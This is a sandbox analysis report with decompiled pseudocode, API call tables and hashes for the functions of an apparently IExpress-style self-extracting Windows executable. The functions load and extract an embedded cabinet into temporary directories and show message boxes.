				_t36 = "CABINET";
				 *0x329144 = E0032468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0x329140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0x328584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0x328584, 0x841), 5); // executed
				}
				_t10 = E00324EFD(0, 0); // executed
				if(_t10 != 0) {
					__imp__#20(E00324CA0, E00324CC0, E00324980, E00324A50, E00324AD0, E00324B60, E00324BC0, 1, 0x329148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0x329148; // 0x0
						_t24 =  *0x328584; // 0x0
						E003244B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0x321140, 0, E00324CD0, 0, 0x329140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0x328584; // 0x0
					E003244B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0x329140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0x329140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0x3291d8; // 0x0
						if(_t47 == 0) {
							E003244B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0x328a38 & 0x00000001) == 0 && ( *0x329a34 & 0x00000001) == 0) {
						SendMessageA( *0x328584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x00324fe0
0x00324fe6
0x00324ff9
0x0032500d
0x00325013
0x0032501a
0x00325163
0x00325163
0x00325020
0x00325027
0x00325037
0x00325051
0x00325051
0x00325057
0x0032505e
0x003250a7
0x003250ad
0x003250b4
0x003250e8
0x003250e8
0x003250ee
0x003250ff
0x00325104
0x00325106
0x00000000
0x00325106
0x003250cd
0x003250d3
0x003250da
0x00000000
0x00000000
0x003250dd
0x003250e6
0x00000000
0x00000000
0x00000000
0x00325060
0x00325060
0x00325070
0x00325075
0x00325107
0x00325107
0x0032510e
0x00325111
0x00325117
0x00325117
0x0032511f
0x00325121
0x00325127
0x00325135
0x00325135
0x00325127
0x00325141
0x00325159
0x00325159
0x00000000
0x0032515f

APIs

Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246A0
Part of subcall function 0032468F: SizeofResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246A9
Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246C3
Part of subcall function 0032468F: LoadResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246CC
Part of subcall function 0032468F: LockResource.KERNEL32(00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246D3
Part of subcall function 0032468F: memcpy_s.MSVCRT ref: 003246E5
Part of subcall function 0032468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003246EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00324FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00325006
LockResource.KERNEL32(00000000), ref: 0032500D
GetDlgItem.USER32(00000000,00000842), ref: 00325030
ShowWindow.USER32(00000000), ref: 00325037
GetDlgItem.USER32(00000841,00000005), ref: 0032504A
ShowWindow.USER32(00000000), ref: 00325051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00325111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00325159

Strings

CABINET, xrefs: 00324FE6, 00324FF7
*MEMCAB, xrefs: 003250C7

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 7f6ade2d9d7eee039643b1d34de7e8cb812712be670611c99dd64070ab2aa573
Instruction ID: ee410e7499f1188566c289147d8ade89192a0eb16fcc65c12cb5c0e75be7d07b
Opcode Fuzzy Hash: 7f6ade2d9d7eee039643b1d34de7e8cb812712be670611c99dd64070ab2aa573
Instruction Fuzzy Hash: DA3109B0740735BFEB335B62BD8AF67369CB704B55F05441DFD01A21E1DAB4AC528A60

Uniqueness

Uniqueness Score: -1.00%

Function 003244B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E003244B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0x328004; // 0x2c4b51c8
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0x328a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0x329a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E00321680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E0032171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E0032171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E0032681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E003267C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "cent", _t49 | _a12 | _a16); // executed
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E0032681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E003267C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "cent", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E00326CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x003244b9
0x003244c4
0x003244cb
0x003244d8
0x003244e4
0x003244eb
0x003244ee
0x003244ef
0x003244ef
0x003244f1
0x003244f7
0x003244f8
0x0032467b
0x003244fe
0x00324509
0x00324518
0x00324525
0x00324562
0x00324568
0x00324568
0x0032456b
0x0032456b
0x0032456d
0x0032456e
0x00324572
0x00324578
0x0032457c
0x003245cb
0x00324607
0x00324607
0x0032460d
0x00324613
0x00324617
0x00000000
0x0032461d
0x00324623
0x00324626
0x00324628
0x00000000
0x00324628
0x003245cd
0x003245cd
0x003245cf
0x003245cf
0x003245d2
0x003245d2
0x003245d4
0x003245d5
0x003245db
0x003245de
0x003245e3
0x003245e9
0x003245ed
0x00000000
0x003245f3
0x003245fd
0x00000000
0x00324602
0x003245ed
0x0032457e
0x0032457e
0x00324580
0x00324580
0x00324583
0x00324583
0x00324585
0x00324586
0x0032458a
0x0032458c
0x0032458f
0x0032458f
0x00324591
0x00324592
0x0032459b
0x0032459e
0x003245a3
0x003245a9
0x003245ad
0x00000000
0x003245af
0x003245af
0x003245bf
0x0032462d
0x00324630
0x0032463d
0x0032464e
0x0032464e
0x0032463f
0x00324640
0x00324647
0x0032464c
0x00000000
0x00000000
0x0032464c
0x00324666
0x0032466d
0x0032466f
0x00324675
0x00324675
0x003245ad
0x00324527
0x0032452e
0x0032453f
0x0032453f
0x00324530
0x00324531
0x00324538
0x0032453d
0x00000000
0x00000000
0x0032453d
0x00324554
0x0032455a
0x0032455a
0x0032455a
0x00324525
0x0032468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554
LocalAlloc.KERNEL32(00000040,00000065), ref: 003245A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 003245E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 0032460D
MessageBeep.USER32(00000000), ref: 00324630
MessageBoxA.USER32(?,00000000,cent,00000000), ref: 00324666
LocalFree.KERNEL32(00000000), ref: 0032466F

Part of subcall function 0032681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0032686E
Part of subcall function 0032681F: GetSystemMetrics.USER32(0000004A), ref: 003268A7
Part of subcall function 0032681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003268CC
Part of subcall function 0032681F: RegQueryValueExA.ADVAPI32(?,00321140,00000000,?,?,0000000C), ref: 003268F4
Part of subcall function 0032681F: RegCloseKey.ADVAPI32(?), ref: 00326902

Strings

LoadString() Error. Could not load string resource., xrefs: 003244E4
cent, xrefs: 00324545, 0032465A

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$cent
API String ID: 3244514340-2605220145
Opcode ID: 393d06040021427250f94c9209d9c08ac61022768ebdccb2881967c5dc3d7c88
Instruction ID: 9edb80bbdf1dddbd9859834758b004b518a32e3d601b83d32bc4c19556c3cb8c
Opcode Fuzzy Hash: 393d06040021427250f94c9209d9c08ac61022768ebdccb2881967c5dc3d7c88
Instruction Fuzzy Hash: 9A512871900225AFDB239F28EC48BAA7B69EF46300F114199FD49A7241DB71DD0ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 003253A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E003253A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0x328004; // 0x2c4b51c8
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E0032171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E00321680(_t32, 0x104, _t20);
					E0032658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E00326CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0x328a20 = 1;
				goto L5;
			}

0x003253ac
0x003253b3
0x003253b9
0x003253bb
0x003253bd
0x003253bf
0x003253d1
0x003253d6
0x003253e0
0x003253e2
0x003253f5
0x003253fb
0x00325402
0x0032540b
0x00000000
0x00000000
0x00325413
0x00000000
0x00000000
0x00325415
0x00325416
0x00325427
0x0032542a
0x0032542b
0x00325434
0x00325434
0x0032543a
0x0032544c
0x0032544c
0x00325452
0x0032545a
0x00000000
0x00000000
0x0032545e
0x0032545f
0x00000000

APIs

Part of subcall function 0032171E: _vsnprintf.MSVCRT ref: 00321750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 003253FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00325402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0032541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0032542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00325434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00325452

Strings

IXP%03d.TMP, xrefs: 003253C0
IXP, xrefs: 00325419
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003253B7, 003253E1, 0032541E

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-4044985724
Opcode ID: d15256fd5172a764b7ce0f81a653c2d62f3e3c641e2fd0a092bb2f93b367c6c3
Instruction ID: 1d2b55f8f7c8797c26c67bd9667df758dc5e8124308ce1c6d20ba6623aebf68f
Opcode Fuzzy Hash: d15256fd5172a764b7ce0f81a653c2d62f3e3c641e2fd0a092bb2f93b367c6c3
Instruction Fuzzy Hash: FC11017130092477D322AB26BC49FEF766DEFD2721F104129F646D2190CEB48A8786A2

Uniqueness

Uniqueness Score: -1.00%

Function 00325467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00325467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0x328004; // 0x2c4b51c8
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0x3291e4;
					_t42 = 0x104;
					E00321680(0x3291e4, 0x104);
					L14:
					_t13 = E003258C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0x329124 = 0;
							_t14 = 1;
							L24:
							return E00326CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E0032597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0x328a20; // 0x0
						if(_t61 != 0) {
							 *0x328a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0x329124 = E00326285();
						goto L22;
					}
					 *0x328a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E003253A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0x3291e4;
				E00321781(0x3291e4, 0x104, __ecx,  &_v268);
				if(( *0x329a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E0032658A(_t48, 0x104, 0x321140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E0032658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x00325472
0x00325479
0x00325481
0x00325484
0x0032551c
0x00325521
0x00325528
0x0032552d
0x0032552f
0x00325539
0x0032554d
0x0032554d
0x00325552
0x00325585
0x00325585
0x0032558b
0x0032558d
0x0032559d
0x0032559d
0x00325557
0x0032555e
0x00000000
0x00000000
0x00325560
0x00325566
0x00325569
0x0032556f
0x0032556f
0x00325581
0x00325581
0x00000000
0x00325581
0x00325545
0x0032557c
0x00000000
0x0032557c
0x00325547
0x00000000
0x00325547
0x0032548a
0x00325490
0x00325497
0x00000000
0x00000000
0x0032549d
0x003254ab
0x003254b4
0x003254c0
0x0032550c
0x00325511
0x00325515
0x00000000
0x00325515
0x003254c9
0x003254d6
0x003254d8
0x003254fe
0x00325503
0x00325507
0x00000000
0x00325507
0x003254da
0x003254dd
0x003254f7
0x00000000
0x003254f7
0x003254df
0x003254e2
0x003254f0
0x00000000
0x003254f0
0x003254e7
0x00000000
0x00000000
0x003254e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 003254C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0032553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0032556F

Part of subcall function 003253A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 003253FB
Part of subcall function 003253A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00325402
Part of subcall function 003253A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0032541F
Part of subcall function 003253A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0032542B
Part of subcall function 003253A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00325434

Strings

mips, xrefs: 003254F7
ppc, xrefs: 003254E9
i386, xrefs: 003254FE
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 0032547D, 00325481, 003254AB, 0032551C, 0032553C, 00325568
alpha, xrefs: 003254F0

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3963195772
Opcode ID: da4e7a9a9b96bcefaea3d29d1a57a24692788655d3fce6412fd1506dfe21fb74
Instruction ID: 70170d6c7327dd122d9004dce9a86dde3a45494227d05953d8090a9007cdf9d0
Opcode Fuzzy Hash: da4e7a9a9b96bcefaea3d29d1a57a24692788655d3fce6412fd1506dfe21fb74
Instruction Fuzzy Hash: 24310871B00A345BCB23AB2ABD45A7E779FAB96300F25412AE907C6544DF708F428695

Uniqueness

Uniqueness Score: -1.00%

Function 0032256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0032256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E003224E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x00322572
0x00322573
0x00322575
0x00322578
0x0032257d
0x00322627
0x00322583
0x00322586
0x00322589
0x003225eb
0x00322607
0x00000000
0x00322609
0x0032261a
0x00000000
0x0032261a
0x00000000
0x0032258b
0x0032258b
0x0032259e
0x003225b2
0x003225ba
0x003225cb
0x003225d1
0x003225d6
0x003225da
0x003225dd
0x003225dd
0x003225e3
0x003225e3
0x003225e3
0x0032258b
0x00322589
0x0032262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,00324096,00324096,?,00321ED3,00000001,00000000,?,?,00324137,?), ref: 003225B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00324096,?,00321ED3,00000001,00000000,?,?,00324137,?,00324096), ref: 003225CB
RegCloseKey.KERNELBASE(?,?,00321ED3,00000001,00000000,?,?,00324137,?,00324096), ref: 003225DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,00324096,00324096,?,00321ED3,00000001,00000000,?,?,00324137,?), ref: 003225FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00324096,00000000,00000000,00000000,00000000,?,00321ED3,00000001,00000000), ref: 0032261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 003225F5
PendingFileRenameOperations, xrefs: 003225C3
System\CurrentControlSet\Control\Session Manager, xrefs: 003225A8

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: e09b0a93756418633afc42930dd69f115fa61c9c1259ed7c67102ba16e68492f
Instruction ID: 3ac3a4d7f2657dc313f4ca4f5330d50932c782e0b7eb7ef58d4a276ba8122ac1
Opcode Fuzzy Hash: e09b0a93756418633afc42930dd69f115fa61c9c1259ed7c67102ba16e68492f
Instruction Fuzzy Hash: 72115135942238BB9B329B92AC09DFBBF7CEF057A1F108155F808E2010D6745E45E6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00326A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E00327155();
				_push(0x58);
				_push(0x3272b8);
				E00327208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0x3288b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0x3288b0; // 0x2
						if(__eflags != 0) {
							 *0x3281e4 = _t58;
							goto L13;
						} else {
							 *0x3288b0 = _t58;
							_t37 = E00326C3F(0x3210b8, 0x3210c4); // executed
							__eflags = _t37;
